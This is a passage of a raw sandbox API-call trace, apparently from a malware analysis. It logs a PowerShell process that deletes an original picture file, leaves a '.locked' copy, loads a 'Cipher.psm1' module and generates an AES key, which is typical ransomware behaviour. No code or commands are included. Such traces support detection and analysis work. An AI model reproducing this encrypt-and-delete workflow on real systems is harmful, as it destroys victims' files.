(dwNewMode=0x1, lpOldMode=0x99ae444) returned 1 [0137.464] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif")) returned 1 [0137.470] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.471] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.471] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf4, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.471] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif.locked")) returned 0x20 [0137.472] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif.locked")) returned 0x20 [0137.472] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae058, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", lpFilePart=0x0) returned 0x33 [0137.472] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", nBufferLength=0x105, lpBuffer=0x99ae01c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", lpFilePart=0x0) returned 0x33 [0137.472] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.473] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", nBufferLength=0x105, lpBuffer=0x99ae298, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif", lpFilePart=0x0) returned 0x2c [0137.473] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.473] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.473] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf5, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.473] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.475] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.475] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.476] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.476] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf6, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.476] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.478] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.478] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.478] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.478] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf7, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.478] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.480] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae704*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae704*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.480] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.480] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.480] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf8, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.480] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.482] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.482] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.482] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae6d8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae6d8*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xf9, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.482] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae768*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfa, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.484] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade98) returned 1 [0137.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif.locked"), fInfoLevelId=0x0, lpFileInformation=0x695f158 | out: lpFileInformation=0x695f158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15271908, ftCreationTime.dwHighDateTime=0x1d4bf19, ftLastAccessTime.dwLowDateTime=0x15271908, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x15297ae0, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x8d44)) returned 1 [0137.485] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ade94) returned 1 [0137.485] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", nBufferLength=0x105, lpBuffer=0x99ad974, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked", lpFilePart=0x0) returned 0x33 [0137.485] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\u ZdFh3wm.gif.locked" (normalized: "c:\\users\\ciihmnxmn6ps\\pictures\\u zdfh3wm.gif.locked"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x764 [0137.485] GetFileInformationByHandle (in: hFile=0x764, lpFileInformation=0x99adee0 | out: lpFileInformation=0x99adee0) returned 1 [0137.485] GetConsoleOutputCP () returned 0x1b5 [0137.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.486] GetConsoleOutputCP () returned 0x1b5 [0137.486] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.486] GetConsoleOutputCP () returned 0x1b5 [0137.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.487] GetConsoleOutputCP () returned 0x1b5 [0137.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.487] GetConsoleOutputCP () returned 0x1b5 [0137.487] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.487] GetConsoleOutputCP () returned 0x1b5 [0137.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.488] GetConsoleOutputCP () returned 0x1b5 [0137.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.488] GetConsoleOutputCP () returned 0x1b5 [0137.488] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.489] GetConsoleOutputCP () returned 0x1b5 [0137.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.489] GetConsoleOutputCP () returned 0x1b5 [0137.489] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.489] GetConsoleOutputCP () returned 0x1b5 [0137.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.490] GetConsoleOutputCP () returned 0x1b5 [0137.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.490] GetConsoleOutputCP () returned 0x1b5 [0137.490] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae39c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae39c) returned 0 [0137.490] GetConsoleOutputCP () returned 0x1b5 [0137.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae434, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae434) returned 0 [0137.491] GetConsoleOutputCP () returned 0x1b5 [0137.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.491] GetConsoleOutputCP () returned 0x1b5 [0137.491] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae410, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae410) returned 0 [0137.491] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x99ae4d8 | out: lpConsoleScreenBufferInfo=0x99ae4d8) returned 1 [0137.492] GetConsoleOutputCP () returned 0x1b5 [0137.492] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x99ae474, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x99ae474) returned 0 [0137.492] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.492] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x698666c*, nNumberOfCharsToWrite=0x77, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x698666c*, lpNumberOfCharsWritten=0x99ae4d8*=0x77) returned 1 [0137.493] GetConsoleMode (in: hConsoleHandle=0x234, lpMode=0x99ae4e0 | out: lpMode=0x99ae4e0) returned 1 [0137.493] WriteConsoleW (in: hConsoleOutput=0x234, lpBuffer=0x68b591c*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x99ae4d8, lpReserved=0x0 | out: lpBuffer=0x68b591c*, lpNumberOfCharsWritten=0x99ae4d8*=0x2) returned 1 [0137.496] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb14, nSize=0x100 | out: lpBuffer="") returned 0x0 [0137.497] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.498] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0137.498] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0137.498] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.498] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfb, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.498] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.499] CryptAcquireContextW (in: phProv=0x99ae440, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae440*=0x8e02828) returned 1 [0137.499] CryptGenKey (in: hProv=0x8e02828, Algid=0x6610, dwFlags=0x1, phKey=0x99ae854 | out: phKey=0x99ae854*=0x8e850f8) returned 1 [0137.499] CryptContextAddRef (hProv=0x8e02828, pdwReserved=0x0, dwFlags=0x0) returned 1 [0137.499] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae894 | out: pbData=0x0*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.499] CryptExportKey (in: hKey=0x8e850f8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x6990174, pdwDataLen=0x99ae894 | out: pbData=0x6990174*, pdwDataLen=0x99ae894*=0x2c) returned 1 [0137.499] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae414, nSize=0x100 | out: lpBuffer="\x104\x699\xe480\x99a\x14\x01\xd440\x73ae\x785c\x667\xe400\x99a\x9e") returned 0x0 [0137.499] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae7ec*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae7ec*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.499] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae74c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae74c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.499] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae7dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xfd, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0137.500] SysStringLen (param_1="") returned 0x8 [0137.500] SysStringLen (param_1="b") returned 0x8 [0137.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.500] SysStringLen (param_1="\x82f8\xa2cd\x2fb0\xa44f\xa485\xa1f6\x88f4\x5565") returned 0x8 [0137.500] SysStringLen (param_1="\x82f8\xa2cd\x2fb0\xa44f\xa485\xa1f6\x88f4\x5565") returned 0x8 [0137.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.500] SysStringLen (param_1="bZ") returned 0x8 [0137.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.500] SysStringLen (param_1="\x942a\xfbd6\x2c50\xcefa\x3f\x3816\x422e\xb52d") returned 0x8 [0137.500] SysStringLen (param_1="\x942a\xfbd6\x2c50\xcefa\x3f\x3816\x422e\xb52d") returned 0x8 [0137.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.500] SysStringLen (param_1="bZT") returned 0x8 [0137.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.500] SysStringLen (param_1="\x987e\x4256\x7500\x5713\x5578\x5c08\x1f66\x5b43") returned 0x8 [0137.500] SysStringLen (param_1="\x987e\x4256\x7500\x5713\x5578\x5c08\x1f66\x5b43") returned 0x8 [0137.500] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.500] SysStringLen (param_1="bZTA") returned 0x8 [0137.500] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.501] SysStringLen (param_1="\x45ef\xbb70\xac5e\x10a3\x338a\x4eb3\xc9f3\xc034") returned 0x8 [0137.501] SysStringLen (param_1="\x45ef\xbb70\xac5e\x10a3\x338a\x4eb3\xc9f3\xc034") returned 0x8 [0137.501] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0137.501] SysStringLen (param_1="bZTA7") returned 0x8 [0137.501] SystemFunction040 (in: 